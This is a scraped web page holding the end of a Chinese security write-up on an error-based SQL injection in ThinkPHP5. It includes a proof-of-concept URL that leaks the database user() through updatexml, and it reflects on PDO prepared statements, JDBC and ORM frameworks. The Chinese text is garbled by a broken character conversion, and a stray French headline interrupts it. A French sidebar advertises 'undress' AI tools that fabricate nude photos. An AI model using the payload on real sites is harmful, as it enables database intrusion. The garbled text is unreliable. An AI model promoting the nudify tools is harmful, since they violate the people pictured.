這時(shí),假設(shè)在第一步執(zhí)行prepare($SQL)的時(shí)候我的SQL語(yǔ)句就出現(xiàn)錯(cuò)誤了,那么就會(huì)直接由mysql那邊拋出異常,不會(huì)再執(zhí)行第二步。我們看看ThinkPHP5的默認(rèn)配置:

...
// PDO連接參數(shù)
protected $params = [
    PDO::ATTR_CASE              => PDO::CASE_NATURAL,
    PDO::ATTR_ERRMODE           => PDO::ERRMODE_EXCEPTION,
    PDO::ATTR_ORACLE_NULLS      => PDO::NULL_NATURAL,
    PDO::ATTR_STRINGIFY_FETCHES => false,
    PDO::ATTR_EMULATE_PREPARES  => false,
];
...

可見,這里的確設(shè)置了PDO::ATTR_EMULATE_PREPARES => false。所以,終上所述,我構(gòu)造如下POC,即可利用報(bào)錯(cuò)注入,獲取user()信息:

http://localhost/thinkphp5/public/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1231

La route vers les tests dintrusion?: récurrence des vulnérabilités ThinkPHP

但是,如果你將user()改成一個(gè)子查詢語(yǔ)句,那么結(jié)果又會(huì)爆出Invalid parameter number: parameter was not defined的錯(cuò)誤。因?yàn)闆]有過(guò)多研究,說(shuō)一下我猜測(cè):預(yù)編譯的確是mysql服務(wù)端進(jìn)行的,但是預(yù)編譯的過(guò)程是不接觸數(shù)據(jù)的 ,也就是說(shuō)不會(huì)從表中將真實(shí)數(shù)據(jù)取出來(lái),所以使用子查詢的情況下不會(huì)觸發(fā)報(bào)錯(cuò);雖然預(yù)編譯的過(guò)程不接觸數(shù)據(jù),但類似user()這樣的數(shù)據(jù)庫(kù)函數(shù)的值還是將會(huì)編譯進(jìn)SQL語(yǔ)句,所以這里執(zhí)行并爆了出來(lái)。

個(gè)人總結(jié)

其實(shí)ThinkPH框架漏洞大多用到的都是設(shè)置對(duì)于控制器名的一個(gè)疏忽問題,不理解的小伙伴可以查來(lái)url調(diào)用文件的機(jī)制來(lái)學(xué)習(xí)一下,其實(shí)這些框架漏洞都是基于基礎(chǔ)漏洞的一些拓展,至于sql漏洞,了解一下pdo預(yù)編譯原理即可。

不管java或是php在進(jìn)行數(shù)據(jù)庫(kù)查詢的時(shí)候都應(yīng)該進(jìn)行pdo預(yù)編譯,我們都知道,在jdbc工作的時(shí)候分成好多步

1.建立連接

2.寫入sql語(yǔ)句

3.預(yù)編譯sql語(yǔ)句

4.設(shè)置參數(shù)

5.執(zhí)行sql獲取結(jié)果

6.遍歷結(jié)果(處理結(jié)果)

7.關(guān)閉連接

對(duì)于程序員來(lái)說(shuō),jdbc操作總是很麻煩,所以利用預(yù)編譯就是將mysql查詢語(yǔ)句進(jìn)行封裝,之后在進(jìn)行查詢的時(shí)候直接輸入?yún)?shù)即可,這樣即簡(jiǎn)化了操作也極大程度加強(qiáng)了安全屬性,而以此類推,這樣來(lái)說(shuō)我們是否可以將其他步驟也進(jìn)行封裝呢,也就是建立連接,寫入sql語(yǔ)句等,只留下寫入sql語(yǔ)句與遍歷結(jié)果來(lái)進(jìn)行操作,這樣就更加簡(jiǎn)化了操作。

于是就誕生出了Mybatis半自動(dòng)框架與Hibernate全自動(dòng)框架,直接將jdbc的操作進(jìn)行封裝,但是由于全自動(dòng)框架可操作性過(guò)于狹窄,所以現(xiàn)在市面上更多的還是Mybatis框架進(jìn)行連接服務(wù)端與數(shù)據(jù)庫(kù),但是一般政府或國(guó)企的項(xiàng)目還是偏向于Hibernate框架,這些知識(shí)都是涉及一些編程知識(shí),大家可以自己去了解一下。

推薦學(xué)習(xí):《PHP視頻教程

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration de ce site Web
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefa?on, veuillez contacter admin@php.cn

Outils d'IA chauds

Undress AI Tool

Undress AI Tool

Images de déshabillage gratuites

Undresser.AI Undress

Undresser.AI Undress

Application basée sur l'IA pour créer des photos de nu réalistes

AI Clothes Remover

AI Clothes Remover

Outil d'IA en ligne pour supprimer les vêtements des photos.

Clothoff.io

Clothoff.io

Dissolvant de vêtements AI

Video Face Swap

Video Face Swap

échangez les visages dans n'importe quelle vidéo sans effort grace à notre outil d'échange de visage AI entièrement gratuit?!

Article chaud

Outils chauds

Bloc-notes++7.3.1

Bloc-notes++7.3.1

éditeur de code facile à utiliser et gratuit

SublimeText3 version chinoise

SublimeText3 version chinoise

Version chinoise, très simple à utiliser

Envoyer Studio 13.0.1

Envoyer Studio 13.0.1

Puissant environnement de développement intégré PHP

Dreamweaver CS6

Dreamweaver CS6

Outils de développement Web visuel

SublimeText3 version Mac

SublimeText3 version Mac

Logiciel d'édition de code au niveau de Dieu (SublimeText3)

Sujets chauds

Tutoriel PHP
1502
276
Comment exécuter le projet thinkphp Comment exécuter le projet thinkphp Apr 09, 2024 pm 05:33 PM

Pour exécuter le projet ThinkPHP, vous devez?: installer Composer?; utiliser Composer pour créer le projet?; entrer dans le répertoire du projet et exécuter php bin/console serve?; visiter http://localhost:8000 pour afficher la page d'accueil.

Il existe plusieurs versions de thinkphp Il existe plusieurs versions de thinkphp Apr 09, 2024 pm 06:09 PM

ThinkPHP dispose de plusieurs versions con?ues pour différentes versions de PHP. Les versions majeures incluent 3.2, 5.0, 5.1 et 6.0, tandis que les versions mineures sont utilisées pour corriger les bogues et fournir de nouvelles fonctionnalités. La dernière version stable est ThinkPHP 6.0.16. Lorsque vous choisissez une version, tenez compte de la version PHP, des exigences en matière de fonctionnalités et du support de la communauté. Il est recommandé d'utiliser la dernière version stable pour de meilleures performances et une meilleure assistance.

Comment exécuter thinkphp Comment exécuter thinkphp Apr 09, 2024 pm 05:39 PM

étapes pour exécuter ThinkPHP Framework localement?: Téléchargez et décompressez ThinkPHP Framework dans un répertoire local. Créez un h?te virtuel (facultatif) pointant vers le répertoire racine ThinkPHP. Configurez les paramètres de connexion à la base de données. Démarrez le serveur Web. Initialisez l'application ThinkPHP. Accédez à l'URL de l'application ThinkPHP et exécutez-la.

Lequel est le meilleur, Laravel ou thinkphp ? Lequel est le meilleur, Laravel ou thinkphp ? Apr 09, 2024 pm 03:18 PM

Comparaison des performances des frameworks Laravel et ThinkPHP?: ThinkPHP fonctionne généralement mieux que Laravel, en se concentrant sur l'optimisation et la mise en cache. Laravel fonctionne bien, mais pour les applications complexes, ThinkPHP peut être mieux adapté.

Comment installer thinkphp Comment installer thinkphp Apr 09, 2024 pm 05:42 PM

étapes d'installation de ThinkPHP?: Préparez les environnements PHP, Composer et MySQL. Créez des projets à l'aide de Composer. Installez le framework ThinkPHP et ses dépendances. Configurez la connexion à la base de données. Générez le code de l'application. Lancez l'application et visitez http://localhost:8000.

Quelles sont les performances de thinkphp?? Quelles sont les performances de thinkphp?? Apr 09, 2024 pm 05:24 PM

ThinkPHP est un framework PHP hautes performances présentant des avantages tels que le mécanisme de mise en cache, l'optimisation du code, le traitement parallèle et l'optimisation des bases de données. Les tests de performances officiels montrent qu'il peut gérer plus de 10 000 requêtes par seconde et qu'il est largement utilisé dans les sites Web à grande échelle et les systèmes d'entreprise tels que JD.com et Ctrip dans les applications réelles.

Suggestions de développement?: Comment utiliser le framework ThinkPHP pour le développement d'API Suggestions de développement?: Comment utiliser le framework ThinkPHP pour le développement d'API Nov 22, 2023 pm 05:18 PM

Suggestions de développement?: Comment utiliser le framework ThinkPHP pour le développement d'API Avec le développement continu d'Internet, l'importance de l'API (Application Programming Interface) est devenue de plus en plus importante. L'API est un pont de communication entre différentes applications. Elle peut réaliser le partage de données, l'appel de fonctions et d'autres opérations, et offre aux développeurs une méthode de développement relativement simple et rapide. En tant qu'excellent framework de développement PHP, le framework ThinkPHP est efficace, évolutif et facile à utiliser.

Suggestions de développement?: Comment utiliser le framework ThinkPHP pour implémenter des taches asynchrones Suggestions de développement?: Comment utiliser le framework ThinkPHP pour implémenter des taches asynchrones Nov 22, 2023 pm 12:01 PM

"Suggestions de développement?: comment utiliser le framework ThinkPHP pour implémenter des taches asynchrones" Avec le développement rapide de la technologie Internet, les applications Web ont des exigences de plus en plus élevées pour gérer un grand nombre de requêtes simultanées et une logique métier complexe. Afin d'améliorer les performances du système et l'expérience utilisateur, les développeurs envisagent souvent d'utiliser des taches asynchrones pour effectuer certaines opérations chronophages, telles que l'envoi d'e-mails, le traitement des téléchargements de fichiers, la génération de rapports, etc. Dans le domaine de PHP, le framework ThinkPHP, en tant que framework de développement populaire, offre des moyens pratiques d'implémenter des taches asynchrones.

See all articles